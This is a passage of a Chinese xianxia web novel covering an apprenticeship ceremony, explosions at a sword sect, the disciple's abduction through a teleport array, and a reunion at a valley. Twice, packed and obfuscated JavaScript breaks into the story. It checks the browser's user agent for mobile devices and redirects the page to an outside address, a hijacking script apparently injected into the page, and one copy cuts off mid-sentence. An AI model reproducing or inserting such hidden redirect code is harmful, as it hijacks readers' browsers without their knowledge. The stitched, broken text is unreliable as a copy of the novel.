脚步虚浮地挪到桌边,抓起茶壶猛灌了几口凉茶,如火烧火燎的嗓子才稍稍舒缓。他扶着桌沿坐下,双手撑着额头,指尖狠狠插入发丝,神情满是痛苦。 蓦的,一阵清苦的药香混着淡淡幽香,慢悠悠飘进屋内。 祁云耀抬眼转头,便见花秽芳蹲坐在窗沿上,黑斗篷的衣角垂在风里轻轻晃。 少年灵巧地跃进屋中,半点不避嫌,目光滴溜溜左右打量着这间装横得花红柳绿,十分华丽的寝室。全然不顾桌前祁云耀的难受,来来回回踱步数圈,终是摸着下巴下了结论:“你这屋子的布置,倒像我……一位故人的居所。” “那可真是三生有幸。”祁云耀依旧撑着额头,声音哑得厉害,勉强抬眼看向他,“前辈来此做什么?” “呜……”花秽芳踱到他身边坐下,指尖有一下没一下点着桌面,眼底带着探究,“自然是——问问你到底见了什么,吓成这副模样,三魂七魄都快散了,可把我吓死咧。” “前辈不是知道后山里有什么吗?”祁云耀头疼欲裂,话音刚落,便觉头顶覆上一缕温暖,花秽芳的手虚虚停在他发顶,掌心沁出淡淡的碧色灵气,丝丝缕缕缠上他的皮肤,温柔滋养着翻涌的不适,头疼竟奇异地缓了几分。 “我当真不知道。”花秽芳坦白,指尖依旧轻缓渡着灵气,“我只能隐约感应到,后山的东西并无致命危险,甚至说,它们本身毫无攻击性。可你却受了这么重的魇症,为何?” 后山那番景象太过恐怖,此刻褪去极致的恐惧,余下的便只剩匪夷所思。 尽管满心不愿回忆,可面前这看似稚童的少年,却是祁云耀此生见过最莫测的半仙,加之一些或真或假的传言,祁云耀觉得这人说不定能够知道些什么。 他沉默片刻,终是据实开口:“我去后山禁地探查,意外寻到一处石窟,解开禁制进去,才发现里面是个地牢。那地牢里,关押了许多半仙。” “半仙有什么好怕的?又不是什么吃人的妖魔鬼怪。”花秽芳挑眉,语气带着几分不以为然。 “不,不是的!”祁云耀猛地抓住他的手腕,指节泛白,声音止不住颤抖,“里面的半仙模样都十分古怪,最大的不过七八岁孩童模样,最小的只是个婴儿,被大些的孩子抱在怀里。地上全是金色的液体,粘稠得很,还透着一股恶臭,我根本不知道那是什么。可是……可是我亲眼看到,有个婴儿只剩了一半身子,半边躯体都没了,化作了那滩金色的液体!” “半仙化水了?”花秽芳眼底瞬间勾起浓烈的兴趣,指尖摩挲着下巴,却见祁云耀面色惨白、满眼惧色,不由得嗤笑出声,“胆子这么小,以后怎么——” “以后?”祁云耀茫然抬眼,追问出声。旋即反应过来自己被带偏了,转而追问,“前辈知道些什么吗?” “我能知道些什么啊,我就是一个勤勤恳恳做实验的老实本分医师。这种伤天害理的事情我可不知道。” “可你——”还用凡人做实验! “那都是你情我愿的不是么,你自己想想,来我这做实验的哪个不是自愿的?”花秽芳淡淡岔开话题,抽回自己的手,碧色灵气也收了回去,“总之你死不了,放宽心便是。等拜完师拿到你那故人遗物,就跟我回药王谷。等我什么时候再炼出一个炉鼎,你便可以走了。” 祁云耀垂眸,没有应声,目光涣散,似是沉浸在某种纷乱的思绪里。 花秽芳才懒得管他在想些什么,今夜既已得到想要的答案,便不愿再多在他身上浪费时间。他起身便要翻窗离开,走到窗边时,又忽然想起什么,转头淡淡嘱咐: “对了。” 祁云耀抬眼,眼眶依旧通红,声音沙哑:“什么?” “在我研究完成之前,你别随便跟别人双修。” 丢下这句没头没脑的话,花秽芳的身影便一闪,消失在浓重的夜色里,只留怔在原地的祁云耀。 “金水——” 祁云耀低声喃喃,“你也变成金水了吗?” 7. 拜师 经了昨日那一遭,祁余天满心以为今日的拜师大典定会延迟。 昨日他听天机阁弟子闲谈,说肖严谨手头有具能陪武人练手的机关偃甲,心里早痒得不行,原想着今日去试上一试,若是真的好用,哪怕回去被爹娘揍死,也要买一具回去陪自己切磋。 结果他刚提着剑转到天机阁弟子的居所外,便见里头竟严阵以待!往日散漫的天机阁众人,难得个个穿戴齐整,面色还透着几分严峻,倒叫他心里吃了一惊。 肖严谨瞥见祁余天,当即主动上前搭话,几句闲聊下来,祁余天才知晓拜师大典竟是照常举行。 他忍不住问:“昨日谢掌门的徒弟那般模样,今日怎么还要照常拜师?” “想知道?”肖严谨闻言,脸上立刻露出神秘莫测的笑,神神叨叨地拉过祁余天的衣领,凑到他耳边悄声说:“我偷偷告诉你,你可别外传啊。” 祁余天忙不迭点头,连声道自己定然守口如瓶。 “我听说是那小徒弟自己要求的。”肖严谨压着声音。 “啊?为啥啊?”祁余天满脸诧异。 “嘿嘿嘿。”肖严谨笑得狡黠,一双大眼睛眼睛眯成两道细缝,活像只眯眼摇着大尾巴的狐狸,“那自然是因为,这小徒弟巴不得赶紧入谢长泽的门啊!” “啊?”祁余天听得一头雾水,只觉肖严谨说的每个字他都认得,可连在一起,竟半点摸不着头脑。 “你个傻子!”肖严谨笑骂一声,语气里满是得意,“我早打听清楚了,这小徒弟可是个极品炉鼎哩!当初被谢长泽从歹人手里救下,就一门心思要以身相许。偏这小子傲得很,一边想跟谢长泽双修,一边还逼着谢长泽给名分。嘿呀,就是没打听透谢长泽怎的就被他说动了,不过结果你也见着了,这小徒弟看样子是真有两把刷子,竟能让谢长泽情愿拂了尹无霜的脸面,也要把他收进门。嘿嘿嘿,嘿嘿嘿。” 肖严谨咯咯咯地笑,越说越兴奋,脸上全然没有八卦到秘闻的满足,反而挖出这等惊天爆料的自得,竟全然没注意到祁余天早已僵在原地,眼神发直,满脸呆愣。 他到最后都记不清,自己是怎么浑浑噩噩走回西门小院的,甚至早忘了去天机阁的初衷是为了那机关偃甲。 直到脚下被门槛狠狠一绊,结结实实摔了个四脚朝天,祁余天才猛然回神,连滚带爬地爬起来,扯着嗓子喊:“小妹,小妹!”一头撞进了祁灵昭的房间。 约莫半个时辰后,米长老领着一众打杂弟子浩浩荡荡往客舍去,请诸位贵客移步大殿观礼。 与此同时,青云剑庄山门大开,守在山下早已按捺不住的散修们火急火燎往山上冲,有几个急昏了头的,竟忘了凡间禁御剑的铁律,刚御起剑便被护山结界狠狠打落,只得灰头土脸地老老实实爬山。 拜师的场地选在正殿正对的青云台。这台四面环着翻涌的云海,远处青山在云烟中若隐若现,仙雾缭绕,景致极是清丽。天盟地宗的诸位贵客,被安排坐在青云台通往正殿的石阶两侧;一众散修则分立青云台两旁,挤挤挨挨地翘首张望。 今日的谢长泽,难得褪下了平日里那件灰色老旧道袍,换上了青云剑庄掌门专属的威严礼服,锦纹暗绣,玉带束腰,立在大殿门口,身姿挺拔,严正以待。 一旁的米长老立在青云台高阶之上,深邃的眼眸中,除了庄重,还藏着一丝难以言喻的……认命。 他双手郑重端着一柄修长长剑,剑身在天光云海间覆着一层淡淡银辉,因站得高,台下众人只隐约见得剑脊修长、剑鞘古朴的轮廓,却是瞧不真切这究竟是何等神兵利器。 尹无霜今日终是肯出门了,晨起认真梳洗打扮过,一身素白仙裙衬得眉目清雅。此刻见心上人这般丰神俊朗,她心头砰砰直跳,可转念一想,他这副郑重模样,并非为自己,而是为了那个娇蛮无礼的弟子,心头便漫上酸涩,委屈得眼眶泛红,几欲落泪。 “不是说,喜欢知书达礼的么?”尹无霜喃喃低语,指尖攥紧了裙角。 不远处的祁灵昭将好友的模样看在眼里,却顾不上上前安慰——她还陷在清晨听到的消息里,那番话宛若惊雷,将她劈得外酥里嫩,至今回不过神。 西门这两兄妹,此刻竟像是连路都走不稳了,相互搀扶着,脸色皆是一片惨白,毫无血色。 “你、你再说一遍,云耀他真的和谢长泽双修了?”祁灵昭已是第几十次问出这话,次次得到相同的答案,可她仍不死心,仿佛只要有一次听到不同的回应,便能推翻所有,抓住自己想要的结果。 “是。”祁余天斩钉截铁,语气里却满是不愿相信的悲戚,“肖严谨亲口说的,还说云耀是极品炉鼎,当初被谢长泽救下,就非要以身相许。” 祁灵昭眼神发直,嘴唇翕动两下,长长吐出一口气,声音发颤:“当初就不该放他出来的!你当初为什么不早点来找他?你若来了,他也不会插足别人的感情!” “我怎么知道会变成这样!”祁余天急着辩解,嗓门都哑了,“而且当初你们不都说,他是出来找谢重楼的吗?谢重楼都死了,我以为他寻不到人,自然就回家了!谁能想到,他不回家,反倒装成炉鼎,还去勾搭尹无霜的未婚夫啊!” “难道是……睹人思人?”祁灵昭抬手摸着下巴,忽然生出一个猜测,眉头紧蹙,“谢长泽是谢重楼的师兄,当初云耀最喜欢的就是谢重楼,现在谢重楼没了,难不成他把谢长泽当成了替身——这么说来,难怪他要换个身份,蛰伏在谢长泽身边!” “不对不对!”她话音刚落,不等祁余天回应,便自己摇着头否决了,“太牵强了!他当初追在谢重楼身后,那副要死要活的模样,怎么可能说放下就放下,转头去找替身?不对,肯定不是这样。容我再想想……再好好想想……” 她低声喃喃着,指尖力气不自觉越收越紧,祁余天被掐得呲牙咧嘴,却愣是不敢叫出声,只能死死咬着唇瓣强忍。 两人各怀心思思忖之际,青云台的尽头,已缓缓走上一道高挑艳丽的身影。 来人容貌本是英俊,却绝称不上艳丽,那夺目的艳色,全来自他身上那件桃红色华裳——衣料精致华美,衣摆以金线绣满灼灼桃花,衬得人面与花色相融,竟生出几分“人面桃花相映红”的旖旎美感。 可美则美矣,在一众修士非青即白、或黑或灰的素净衣色里,这抹鲜亮到极致的桃色骤然杀出,刺得不少几十年未见这般浓艳颜色的老修士眼睛酸涩,竟似要被灼伤一般。 而穿这衣裳的祁云耀,却全然不管旁人目光,趾高气昂地迈着步子,雄赳赳气昂昂,一步三扭,那架势,恨不得昭告天下自己是谢长泽的亲传弟子,硬生生闪瞎了观礼一众修士的眼。 方才不过是被颜色晃了眼,这下却是真真切切的无眼看。 祁灵昭被他这副模样狠狠一刺激,大脑直接停止了思考,颤巍巍拉着祁余天的手臂,指尖恰好碰到方才被自己掐红的皮肉,疼得祁余天倒抽一口凉气。而祁灵昭却像是得了某种难得的支撑,声音发颤:“你也觉得他疯了,是么?” 偏偏只有西门家这两兄妹,觉着自家二弟/二哥是失了心智,其余人等,除却些没见过世面的散修,大多都目不转睛地打量着这骄傲如开屏花孔雀般的男人。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177146|196908||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 肖严谨先前只与他匆匆一面,印象还停留在“傲娇草包”上,原还想着此人或许藏着几分难得的本事,如今看来,竟真就是个被谢长泽捡回来的草包炉鼎,半点可取之处也无。 禅宗众人对祁云耀的张扬行径并无太多表情,依旧个个低眉垂目,唯有玉蝉方丈在他擦身而过时,低低念了一声“阿弥陀佛”,声线轻淡,似有叹惋。 风幕卿并未现身观礼,玉虚仙宗的位置上,只有阿璟和阿和两个小童。二人手牵着手,头凑在一起低声嘀咕,时不时发出咯咯的轻笑,看得对面天机阁的众人心痒难耐,恨不得割下耳朵丢过去,听听他们到底在说些什么。 花秽芳今日也未到场。方才米长老带人去请他观礼时,他只推说昨夜研究药石太晚,要留屋休息,直接回绝了。米长老素来听过这位诡医的各式传闻,自然乐得清闲,转头便重新将他院外的禁制封死,免得这怪人自己不去观礼,反倒跑出来捣乱。 待到桃红艳影站定至大殿正前时,场中切切咂咂的声音一瞬间静了。 吉时已到,米长老高亢的嗓音穿透云海,响彻青云台与大殿: “青云剑庄,开门收徒,行拜师大典——!” 祁云耀闻声精神一振,提着华美的桃红旗袍摆,身姿款款迈步上前。 他对着谢长泽恭行三跪九叩大礼,每一个动作都透着精心设计的韵律:叩首时额头轻触青石,发髻却纹丝不乱;起身时宽大衣袖桃色衣摆扫过地面,扬出最优美的弧度。 礼毕,他双手高捧香茗,嗓音清亮:“师尊在上,请受弟子尧云一拜!” 满堂俱静。 一众散修瞧着这过分讲究的姿态,到底是没见过这般场面,嘴角不受控制地微微抽搐。 谢长泽的眼角狠狠跳了一下,他缓缓接过茶盏,仰头一饮而尽,那模样像是喝下一碗不得不咽的苦药。 “好。”他的声音听着沉稳,却藏着一丝不易察觉的疲惫,“从今日起,你便是我谢长泽的关门弟子。入我青云门,须谨守门规,不可有违。” 说罢目光再次扫过祁云耀那身花枝招展的行头,硬生生压下心头厌恶的异样,努力维持着掌门的庄重。 “一曰:心存侠义,扶危济困……” “弟子明白!”祁云耀扬声抢答,直接打断了他的话。 谢长泽:“……” 他咬了咬牙,加重语气续道:“二曰:尊师重道,谨听师训……” “弟子明白!”又是一声利落的抢答,半点不拖泥带水。 谢长泽额角的青筋突突直跳,到了嘴边的余下门规,终究是咽了回去。 他几乎是妥协般深吸一口气,索性放弃与这弟子理论,转身从米长老手中接过那柄古朴长剑,递向祁云耀。 离得最近的天盟地宗众人,此刻终于看清了长剑的真实样貌,霎时间,齐齐倒抽一口凉气,面色尽是震骇。 阿璟阿和最是沉不住气,直接“哎呀”一声惊呼出来,话音落才恍然觉得失态,忙伸手互相捂住对方的嘴巴,小身子绷得笔直,像是想把那声惊呼硬生生收回去。 可在场的大人,皆被那柄长剑惊得心神震荡,竟无一人留意到两个小童的小动作。 只见那是一柄古朴修长的佩剑,剑身通体凝着沉郁墨色,不见半分寒光,却自透着凛然剑意。剑柄剑鞘之上,皆雕重楼草纹,缠枝绕柄,纹路苍劲。 赫然是那柄名动天下的天下第一剑——断不义! “我靠了——” 祁灵昭,捂着嘴低声同祁余天交谈。“看来疯的不只是祁云耀,谢长泽也疯了。” 8. 变故+重逢 世人皆称断不义为天下第一剑,可这“天下第一”的名头,却不是剑本身挣来的,而是因它的两代主人,皆是冠绝天下的剑修。 第一任主人谢青,一剑破万军,曾调和天盟地宗联手共抗血月邪教,凭此一战名震三界,乃是当之无愧的天下第一人。 第二代主人谢重楼,少年成名,一剑斩恶蛟立威,更击败彼时剑修第一人的尹无霜,一朝登顶。可他这“第一”,却从未得天下公认。他与尹无霜的比试过后不久,便答应与西门祁余天约战,然而最后竟败在了对方的浑天剑下。而世人皆知,祁余天本是君子剑兰泽的手下败将。是以谢重楼与谢长泽,究竟谁才是真正的天下第一人,始终众说纷纭,不过是众人看在断不义的威名上,才勉强将谢重楼归作天下第一罢了。 与祁余天战后未久,便传出谢重楼发疯弑师的惊天传闻。最终是谢长泽以武力镇压,将亲师弟斩于青云台。 自那以后,断不义便成了无主之剑,被镇于剑冢,尘封多年,直至今日,才在这拜师大典上重新现世。 所以谁也未曾想到,谢长泽竟会将这柄落了“弑师之剑”名头的断不义,当作拜师礼亲手赠予祁云耀。 这一幕如惊雷劈在祁灵昭心头,她脑中骤然灵光一闪,脸色愈发难看,扯着祁余天的袖子急声道:“不对劲啊不对劲啊!你说,二哥他该不会是要拿这断不义,斩谢长泽为谢重楼报仇吧?啊呀呀,肯定是这样!这就全对了!” 祁余天闻言,脸色瞬间惨白如纸,忙拼命回忆数年前肖严谨来西门散播的传言——当时说的,可不就是谢重楼被谢长泽亲手斩于青云台吗?而他们此刻脚下站着的,正是青云台! 他被祁灵昭这猜测惊得心头剧跳,竟已然信了大半,只觉后颈发凉,冷汗顺着额角往下淌。 兄妹二人相互搀扶着,满头满脸全是冷汗,目光死死钉在殿前那道手握断不义的身影上,心都揪成了一团。此刻竟只剩一个念头:他若真要动手,便砍得利索些,事后逃跑也跑快些,千万直直往西门的方向逃。 二人满心惶急,却是无一人想过,谢长泽身为青云剑庄掌门,岂会没有能力躲开这一剑。 祁云耀接过断不义,满心滚烫地将剑抱在怀中,指尖仔仔细细,一寸一寸摩挲着剑鞘上的重楼草纹,那熟悉的纹路蹭过指腹,心底蓦地涌上一股说不清道不明的酸涩,汩汩的酸意往胸口翻涌,像是要将他整个人溺毙,压抑得他眼眶泛红,几欲落泪。 他拼尽全力压下喉间的哽咽与心底的翻涌,艰难撑着身子起身,躬身欲行谢礼:“弟子谢师尊赐——” “轰隆——” “轰隆——” “轰隆——” 三声震耳欲聋的爆炸骤然炸响,生生撕碎了祁云耀的谢声,也如三记重锤,砸懵了青云台上所有观礼的来客。 前两声爆炸过后,正殿后方的山体骤然剧烈震颤,崖壁上的巨石簌簌脱落,咕噜噜地往下滚落,烟尘漫天;而第三声爆响,竟直接从大殿内部炸开,灼热的气浪裹着火星,如凶兽般直直朝着殿口的几人席卷而去! 米长老久居剑庄打理杂务,早没了当年跑江湖的机敏,骤遇此变竟一时僵在原地。他看着砸落的巨石与扑面的热浪,余光瞥见身旁几个吓得脸色惨白的小弟子,心头一紧,也顾不上自身安危,伸手便要将离得最近的孩子护在身后。 小弟子们死死抱着米长老的胳膊,吓得眼睛都不敢眨。米长老也怕,可生死关头,心底那股执念竟压过了恐惧,他将能护到的孩子尽数按在身下,又猛地丢出随身佩戴的护身法宝,护住了那几个拉不住的小弟子,随后闭紧双眼,安静地等着死亡降临。 可预想中的剧痛并未到来。 米长老愕然睁眼,只见一柄宽厚的西门重剑骤然立在他身前,剑身嗡鸣不止,凛冽的剑意翻涌,竟将砸落的巨石绞成了齑粉,剑意凝作一道天然护罩,将他与一众小弟子牢牢裹在其中。 他心头一暖,忙转头想朝出剑之人投去感激的目光,却见祁灵昭和祁余天压根未看他,二人各自举剑,剑风凌厉,一人劈碎凌空砸落的山石,一人斩断扑面的灼热气浪,周身皆是肃杀。 另一边,观礼的众人也被这突来的变故惊得心神俱裂,待反应过来时,巨石与热浪已近在眼前。未等众人各自祭出法宝,一道金光骤然乍现,柔和却不失力量的护罩凌空展开,将石阶两侧的天盟地宗众人齐齐笼罩。山石撞在护盾上,瞬间被震得粉碎;热浪触到护罩,也顷刻消弭无形。 石阶旁的禅宗僧人齐齐双手合十,口中快速念动法诀,金光护罩应声扩大,将青云台上的散修也尽数裹入其中,以免他们被乱石误伤。 阿和阿璟早被身边凌云阁的弟子一把抱进怀里,两个小童窝在旁人怀中,吓得瑟瑟发抖,小身子缩成一团。 尹无霜双剑出鞘,剑花翻飞,左右挥斩间,将身前的乱石尽数劈落。她心中焦急万分,目光死死锁着殿口的方向,却发现谢长泽早已不在原地,连带着他那新收的徒弟,也没了踪影。 她慌忙四下张望,终于在大殿的屋檐上见着了人影——谢长泽手持兰泽剑,剑眉紧蹙,正与一名黑袍男人对峙,剑风相击,泠泠作响;而祁云耀,竟被那黑袍男人扣在怀中,手腕被死死攥着,只能徒劳地踢腿挣扎,脸上满是惊怒。 “师尊救我啊!救我啊!”祁云耀放声大呼,哪里还有半分青云剑庄首席弟子的模样,只剩满眼惊惶。 “放下他!”谢长泽持兰泽剑直指黑袍男人,声线冷冽,周身剑意翻涌。 黑袍男人却咯吱咯吱怪笑起来,嘴角咧开,呲出两排尖锐的利齿,诡异至极,连眉心那粒原本淡金的小痣,都似染了血色,变得猩红刺目。 “谢长泽,我倒一直好奇,你收个炉鼎做弟子到底图什么?”褪去稚童模样的花秽芳,更添几分诡谲妖异,他挑眉睨着谢长泽,语气满是挑衅,“你又不睡他,留着他又占地方,不如还给我,我还能接着做我的实验。” “你住嘴!”谢长泽怒喝,手中兰泽剑应声嗡鸣震颤,似也随主人动了怒,“尧云是活生生的人,岂会任你拿来做那灭人伦的龌龊实验!” “是吗?”花秽芳勾唇露出个意味深长的笑,怀中的祁云耀还在拼命挣动,他似也演得腻了,干脆掐诀召出一道捆绳,瞬间将人捆了个结实,反手便扛在肩上,足尖一点跃下古殿屋檐,“那便来抓我吧。” 话音未落,他身形已窜至青云台中央,眼看就要冲破青云剑庄的山门。 “我剑,我剑没拿!”祁云耀贴在花秽芳背上,压着声音急声低语,满是焦灼。 “不就在你怀里?”花秽芳余光扫过他紧抱的,刻着重楼草纹的佩剑,脚下速度半点未减,依旧朝着山门疾冲。 “不是这把!是我的剑——啊啊啊啊!” 祁云耀的惊呼未落,一道凌厉剑光已破空而至,剑尖直逼花秽芳后心,险险就要戳上祁云耀的脸。 就在剑尖堪堪要刺入□□的瞬间,花秽芳竟似背后长眼,腰身猛地一斜,就地一个翻滚,堪堪躲开了这记狠戾的戳刺。祁云耀被他顺势抛到一旁,重重摔在青石地上,抬眼时,才看清前来救他的人—— 是尹无霜。 谢长泽尚在后方疾冲赶来,尹无霜却脚程更快,转瞬便掠至近前,双剑交叉成凌厉攻击姿态,寒声喝道:“把人留下!” 花秽芳舌尖轻舔尖牙,眼底翻涌着戏谑。祁云耀被捆着手腕坐在青石上,本还等着看两位半仙的巅峰对决,没料花秽芳长臂一捞,竟又将他扛回了肩头,凑到他耳边低声嘱咐:“一会她挥剑砍我,你就抬脚踹她。” 祁云耀:“……” 祁云耀懵了:“什、什么?” 他疑心自己耳朵出了错,却见花秽芳语气愈发坚定,压着声重复:“她砍我你就踹,她定然不敢弄伤你。” “那你呢?”祁云耀下意识问。 “自然是扛着你跑路——来了,准备!” 话音未落,尹无霜的双剑已携着凛冽剑意杀至近前。 祁云耀被扛在背上,压根看不见身后动静,小腿弯突然被狠掐了一把,他当即心领神会,扯开嗓子哭喊大叫:“救命!救命啊!师娘救救我啊啊啊!” 哭声撕心裂肺,双脚还胡乱蹬踢,尹无霜刺向花秽芳心口的剑锋猛地一偏,堪堪擦着祁云耀的鞋底错开,险险避过了他的身子。 “别动!”尹无霜冷声呵斥,手腕翻转,双剑再度缠上花秽芳的周身,招招狠戾。 可祁云耀却将草包模样演绎到了极致,哪里听得进半分话,只觉鞋底被剑风扫过的凉意,惊得哇哇大哭:“啊啊啊师娘你别趁机砍我啊啊啊啊!救命!师尊救命啊!” 他身子扭来扭去,活像条离水的鱼,尹无霜几次剑势都要刺中花秽芳要害,却都因顾忌着他,次次被逼得收剑偏招,气的剑尖发颤。 花秽芳乐见其成,脚下速度丝毫不减,扛着人左闪右避,转眼便奔至山腰,堪堪踏出了青云剑庄的护山大阵范围。 刚一离阵,他反手便捏了个法诀,一道玄色法阵骤然在前方铺开,阵纹亮起的一瞬,漫天华光骤起。 “是‘缩地成寸’!” 不知哪个修士在后方惊声大叫,一语落下,在场众人皆是心头巨震。 花秽芳的仙缘,竟赫然是仙法缩地之术! “拦住他!” 谢长泽目眦欲裂,扬声大喝,可身上繁复的掌门礼服层层束缚,步履沉滞,压根追不上前方疾奔的身影。身后一同赶来的修士们也个个急头白脸,恨不能立刻上前拦下花秽芳,生怕谢长泽这新收的小徒弟真被这大魔头掳走。 尹无霜闻得谢长泽的喝声,再无半分顾忌,手腕翻转,双剑同时凌空劈出,一道凌厉的双刃剑气凝作实质,直逼花秽芳后心! “喝啊啊啊——我来!” 一声暴喝陡然响起,尹无霜那道势如破竹的双刃剑气竟被骤然打散,取而代之的是一柄玄铁重剑裹挟着劲风翻转而来,剑身在天光下泛着冷硬寒光,直直朝着花秽芳后心砸去。 众人闻声齐齐回头,只见西门祁余天还维持着奋力掷物的架势,臂膀微扬,显然那柄重剑正是他全力甩出去的。 花秽芳也敏锐察觉到身后的破风之声,心头一凛,猛地转头看去。 身形稍转的瞬间,扛在肩头的祁云耀也跟着偏移了些许,恰好错开了重剑原本的轨迹——那柄玄铁重剑竟直直砸中了花秽芳的额头! 沉重的剑身在蛮力加持下带着千钧之势,砸得花秽芳闷哼一声,连人带肩上的祁云耀,竟被这股力道带着,直直撞进了华光大亮的缩地成寸阵法中。 玄铁重剑落地的声响与阵法启动的轰鸣交织在一起,那道亮彻山腰的光幕骤然暴涨,旋即快速敛缩,最终化作一点微光,消散于天地之间。 连人带剑,一同消失得无影无踪。 青云台山腰处瞬间陷入死寂,所有修士皆僵在原地,望着空荡荡的阵法原址,一时竟没人敢出声。 方才那一幕,实在太过猝不及防。 “你是猪吗!蠢猪!蠢猪啊啊啊!” 祁灵昭揪着祁余天的耳朵死命拽,脚尖一下下狠踹他的小腿肚,踹得祁余天哎哟哎哟直叫唤,连连讨饶。 眼见着罪魁祸首正被狠狠教训,余下众人面面相觑,竟都哑口无言——西门大公子脑子不太灵光,本就不是什么秘闻,只是没人料到,他这一下莽撞,竟直接把人连带着阵法砸没了。 天机阁的弟子们看看鼻青脸肿的祁余天,又望望阵法消失的空处,凑在一起低声窃窃私语。最敏锐的肖严谨扫了眼交头接耳的同门,又瞧着被小妹一拳拳捶打的祁余天,手指摩挲着下巴若有所思,蓦然一拍掌,大眼睛亮得惊人,凑到身旁同门耳边道:“定是灵昭妹妹想给无霜姐报仇,才使唤余大哥丢剑砸人的!” 周围同门听罢,皆深以为然地点头,纷纷附和认可这个说法。 这边谢长泽正因徒弟当众被掳走急得焦头烂额,冷不丁,剑庄方向又传来数声震天爆裂。 他再也无暇顾及被掳走的祁云耀,当即转头带着众人往山庄急赶。 此番爆炸竟连及周围数座山峰,巨石滚滚砸落,转瞬便将青云剑庄的大殿砸了个稀碎,而后山的爆炸声,还在接连不断地响起。 谢长泽心下一凛,暗道不好。 身旁有知情的修士低声喃喃:“谢青掌门的灵柩,不会出事吧?” 此言一出,在场一众或是爱慕、或是崇拜谢青的修士再也坐不住,风风火火的竟也顾不上谢长泽这个现任掌门,一窝蜂地朝着青云剑庄的后山禁地冲去。 谢长泽伸手阻拦不及,只得灰头土脸地跟着人群往后山赶。 行至半路,他蓦地被一只手拉住了衣袖,脚步硬生生顿住。 “长泽,我已经很努力想拦住花秽芳了。” 尹无霜的面色也好看不到哪里去,她手持双剑,发髻散乱,袖口上还留着祁云耀猛烈挣扎时踹出的鞋印,模样狼狈至极。她攥着谢长泽的衣袖,想为自己辩解一二,说方才并非祁云耀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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风幕卿望着洞口乌泱泱站着的一大帮子人,却丝毫没有起身见礼的意思,只淡淡掀了掀眼睫,便别过头去,重新俯身趴伏在谢青的棺椁边沿。他的目光一寸寸温柔地拂过棺中紧闭双眼的女人,指尖似是想触碰,又堪堪停在半空,终究是忍住了,良久,才像是再也承受不住心底的沉郁,缓缓地、缓缓地叹出一口气。 “哎——” “哎~~” 一声绵长的叹惋混着金光炸裂的锐响,两道一大一小的人影裹挟着一柄玄铁重剑,齐刷刷砸落在药王谷谷口的青石板阶上,发出沉闷的撞击声。 花秽芳被那记重剑砸中头颅,身形骤然缩回少年模样,额角伤口汩汩往外渗着血。他瘫在石板上,胸口微微起伏,已是出气多进气少,眼看已经昏死过去。 祁云耀也好不到哪里去。 自花秽芳失去意识,那股萦绕在他腰腹间,替他化解旧伤疼痛的灵气便骤然消散,突如其来的绞痛狠狠攫住了他,疼得他瞬间蜷缩成一团,冷汗浸透了身上华裳。腹中似有翻江倒海的力道在疯狂搅动内脏,又像是有熊熊业火在灼烧,热浪顺着经脉窜遍全身,烧得他眼前发黑,几欲晕厥。 “花秽芳!花秽芳!” 他嘶哑着嗓子喊着少年的名字,脑海里还清晰映着祁余天扔出的那柄随身佩剑,狠狠砸中花秽芳脑袋的画面。他不通医术,瞧着花秽芳胸口几乎没了起伏,还以为这人被自己的剑砸死了,惊惶与剧痛交织,让他不由得失声惊叫。 “你醒醒……快给我解开啊!” 祁云耀在石板上痛苦扭动,捆绳勒得他手腕生疼,却痛得连召唤佩剑割绳的力气都没有,腰腹的剧痛却无时不刻磋磨着他的神经,只觉自己快要被这折磨生生疼死,仿佛置身炼狱,被业火焚身,无处可逃。 “老畜牲!” 不知哪来的一股蛮力冲破剧痛,他抬脚狠狠踹向昏迷的花秽芳,将人踹得翻了个面,扑在冰冷的石板上。可即便如此,花秽芳仍是毫无醒转的迹象,浑身软绵绵的,连半点反抗的力气都无。 这一脚纯是泄愤,可出完气的祁云耀转瞬便悔了——踹出的力道扯动了腹间经脉,一股更剧烈的疼痛猛地袭来,疼得他眼泪直冒,手脚瞬间发软,再没了半分力气,只能瘫在地上,任由剧痛啃噬着意识。 我就要这样痛死了吗? 祁云耀昏沉地想,心底翻涌着浓烈的不甘。才刚刚拿到断不义,才刚刚触到可能是栽赃谢重楼的线索,离真相只有一步之遥,怎么能,怎么能就这样死去? 好不甘心! 好不甘心啊! “谢重楼……谢重楼!” 他拼尽最后一丝力气喊着这个名字,痛苦搅乱了他的神智,脑海里再也容不下其他,满心满脑,只剩这个刻入骨髓的名字,只剩那个灰白道袍的身影。 “谢重楼……谢重楼……?” 涣散的目光里,葱绿幽深的树丛间,似有一道白色虚影一闪而过。祁云耀的求生欲瞬间压过剧痛,不知从哪再度爆发出一股力量,他强压着腰腹的撕裂般的疼,沙哑着嗓音朝那道白影喊:“救……救命!” 忽的,那道白影动了,一蹦一跳地朝着石阶靠近,蹄声轻脆,敲在青石板上,格外清晰。 祁云耀涣散的视线里,只看得清那白影越来越大,越来越近,直到至近前,他依旧辨不清那究竟是什么。他疲惫地闭了闭眼,再用力睁开,世界终于清明了一瞬—— 他看清了,那是一只通体雪白的小鹿,鹿角泛着淡淡的莹光,而鹿背上,竟坐着一个神色漠然的青年。 只是这清明仅有一瞬,视线便再度模糊。可奇怪的是,他竟觉得那青年有些眼熟,特别是那双眼睛,淡淡的,凉飕飕的,仿佛对世间万事都毫不在意,唯独,唯独看那匹灰不拉几的杂毛马是不同的。 祁云耀猛地睁大眼,拼尽最后一丝神智想要看清,想要确认这人是不是自己心中所想的那个身影。而当视线触及青年眉眼的那一刻,他怔怔的,目光再也移不开半分。 眉眼清隽,风骨依旧。 相同,却又不同。 眼前这人年岁看上去竟如同当初他见到谢重楼时候的样子,甚至比他初见谢重楼时还要再年轻个两三岁。 